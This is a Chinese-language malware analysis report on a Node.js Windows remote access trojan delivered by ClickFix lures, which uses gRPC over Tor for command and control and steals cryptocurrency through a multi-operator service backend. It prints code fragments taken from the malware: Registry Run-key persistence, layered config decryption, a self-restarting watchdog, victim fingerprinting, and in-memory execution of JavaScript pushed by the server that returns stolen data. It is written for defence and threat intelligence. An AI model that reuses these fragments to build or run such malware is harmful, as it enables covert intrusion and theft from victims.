1. 摘要
網路威脅的演變正朝向高度模組化與「無執行檔」的執行框架發展。這份報告分析了一款透過ClickFix社交工程手法散播的進階Windows遠端存取木馬 (RAT)。該惡意程式採用Node.js架構,並透過Tor網路以gRPC協定路由其命令與控制 (C2)流量,以達到高度混淆與持久性。Threat actor 的一次關鍵性運作安全 (OPSEC) 失誤,讓我們得以復原伺服器端的協定定義,進而揭露一個成熟的惡意程式即服務 (MaaS) 基礎架構,該架構專為多營運商管理與自動化加密貨幣竊取而設計 [1] 。
2. 感染途徑與初始部署
感染始於ClickFix誘餌,通常是假的驗證碼 (CAPTCHA) 或瀏覽器更新提示。在使用者互動後,會執行一個base64編碼的PowerShell命令,以下載並靜默安裝一個惡意的MSI套件。該套件內含完整的Node.js執行環境,確保惡意程式能在任何目標系統上執行,無論該系統是否已預先安裝相關軟體。部署過程設計得相當隱密,利用無介面 (headless) 執行模式以避免被使用者察覺。
2.1 持久性機制分析
該惡意程式透過在Windows Registry中註冊啟動項目來確保系統重啟後仍能運作。下方的程式碼片段展示了
ensureAutostart
函式,它會檢查registry key是否存在,若不存在則建立該key
[1]
。
- // Persistence mechanism: Registering the malware in the Windows Registry Run key
- function ensureAutostart() {
- // Target registry key for current user startup programs
- const regKey = 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run';
- // Path to the malicious bootstrap script
- const bootstrapJs = path.join(APP_DIR, 'src', 'bootstrap.js');
- // Command to execute Node.js in headless mode with the bootstrap script
- const cmd = `conhost.exe --headless "${NODE_EXE}" "${bootstrapJs}"`;
- try {
- // Check if the registry value already exists to avoid redundant writes
- const current = execSync(`reg query "${regKey}" /v "${REG_NAME}" 2>NUL`, {
- windowsHide: true, encoding: 'utf-8', timeout: 5000,
- });
- if (current && current.includes(NODE_EXE)) return;
- } catch (_) {}
- try {
- // Add the registry value to ensure execution on every user login
- execSync(`reg add "${regKey}" /v "${REG_NAME}" /t REG_SZ /d "${cmd}" /f`, {
- windowsHide: true, timeout: 5000, stdio: 'ignore',
- });
- } catch (_) {}
- }
3. 設定檔混淆與解密
為了阻礙靜態分析,惡意程式對其設定檔 (
deploy.json
) 採用了多層加密機制。加密過程包含隨機產生欄位名稱、支援雙重演算法 (AES-256-CBC 與 XOR),以及金鑰重組 (key shuffling)。這確保了每個感染實例都擁有看似獨一無二的設定檔
[1]
。
3.1 多層解密邏輯
polymorph.js
模組負責解密C2基礎架構的詳細資料。下方的程式碼說明了AES-256-CBC的解密實作,其中使用PBKDF2來進行金鑰衍生
[1]
。
- // Layer 2: AES-256-CBC Decryption with PBKDF2 key derivation
- function decryptAES(blob) {
- const parts = blob.split(':');
- if (parts.length !== 3) return null;
- // Extract salt, IV, and encrypted data from the colon-separated string
- const salt = Buffer.from(parts[0], 'hex');
- const iv = Buffer.from(parts[1], 'hex');
- const data = Buffer.from(parts[2], 'hex');
- // Derive the decryption key using PBKDF2 with 10,000 iterations
- // The password is the reversed salt, adding a layer of custom logic
- const key = crypto.pbkdf2Sync(salt, Buffer.from(salt).reverse(), ITERATIONS, KEY_LEN, 'sha256');
- // Initialize the decipher and finalize the decryption
- const decipher = crypto.createDecipheriv(ALGO, key, iv);
- return JSON.parse(Buffer.concat([decipher.update(data), decipher.final()]).toString('utf-8'));
- }
4. 經由Tor網路的gRPC C2通訊
惡意程式的通訊架構極具韌性。它會下載Tor Expert Bundle以建立SOCKS5代理 (proxy),使其能夠與一個
.onion
的C2伺服器進行通訊。透過使用gRPC (Google遠端程序呼叫),惡意程式能實現雙向串流,讓伺服器能夠即時推送命令
[1]
。此技術與其他利用隧道協定(Tunneling protocol)繞過網路限制並保持匿名性的進階威脅類似
[2]
。
4.1 自我修復監控架構
惡意程式實作了一個監督者-工作者 (supervisor-worker) 模型,其中有一個監控程序 (watchdog process) 會監控主要的C2客戶端。如果客戶端當機或被終止,監控程序會自動重新啟動它,以確保連線不中斷 [1] 。
- // Self-healing watchdog: Monitoring and restarting the C2 worker process
- const worker = fork(SERVER_SCRIPT, [], { stdio: 'inherit', env: process.env });
- worker.on('exit', (code, signal) => {
- logger.warn(`Worker exited (code: ${code}, signal: ${signal}), restarting...`);
- // Implement a maximum restart limit to prevent infinite loops in case of persistent errors
- if (restartCount >= maxRestarts) {
- logger.error(`Max restarts reached, waiting before resuming`);
- setTimeout(() => {
- restartCount = 0;
- scheduleRestart();
- }, resetAfter);
- return;
- }
- scheduleRestart();
- });
4.2 受害者指紋辨識與認證
在建立連線後,惡意程式會向C2伺服器發送一份詳細的受害者資料 (profile)。這份資料包含硬體規格、作業系統詳細資訊,以及已安裝的安全產品清單。此指紋辨識機制讓營運商能夠優先篩選高價值目標 [1] 。
- // Authentication payload: Sending victim profile to the C2 server via gRPC stream
- stream.write({
- auth: {
- machineId: MACHINE_ID,
- hostname: os.hostname(),
- os: `${os.platform()} ${os.arch()}`,
- version: CLIENT_VERSION,
- // ECDH public key for establishing encrypted communication channels
- ecdhPublicKey: appCrypto.getPublicKeyBytes(),
- tag: config.tag,
- operatorId: config.operator,
- hwid: getRawMachineGuid(),
- },
- });
5. 惡意程式即服務 (MaaS) 基礎架構
復原出的
admin.proto
檔案揭露了一個功能完整的管理後台。此基礎架構支援多位營運商 (operator),每位營運商擁有各自的行銷活動標籤 (campaign tags) 與權限。該系統特別針對加密貨幣竊取進行了最佳化,具備自動化錢包追蹤與餘額檢查功能
[1]
。這種模組化的惡意程式散佈與管理方式是現代MaaS營運的特色,讓 Threat actor 能夠有效地擴張其活動規模
[3]
。
| 功能 | 技術描述 |
|---|---|
| 錢包追蹤 (Wallet Tracking) | 自動掃描瀏覽器擴充功能與桌面加密貨幣錢包。 |
| 營運商管理 (Operator Management) | 為多位 Malicious actor 提供使用角色的存取控制 (RBAC)。 |
| 模組部署 (Module Deployment) | 針對特定任務動態派送JavaScript模組。 |
| Telegram整合 | 將即時外洩資料的警示發送至營運商控制的機器人 (bot)。 |
6. 模組化執行引擎
此RAT最重要的技術特點是其「無執行檔」的竊取模組執行方式。惡意邏輯以JavaScript字串形式從C2伺服器發送,並使用Node.js的
vm
模組在記憶體中執行。這種方式能繞過傳統以檔案為基礎的防毒軟體掃描
[1]
。
- // Modular execution: Running arbitrary JavaScript code in a sandboxed VM context
- const vm = require('vm');
- const sandbox = {
- require: require, // Provides access to Node.js modules (fs, path, etc.)
- console: console,
- Buffer: Buffer,
- ctx: {
- client: client,
- sendResult: (data) => {
- client.sendModuleResult(moduleName, data); // Callback to return stolen data to C2
- }
- }
- };
- // Execute the server-provided code string within the sandbox
- vm.runInNewContext(code, sandbox, {
- timeout: 300000, // 5-minute execution limit
- displayErrors: true
- });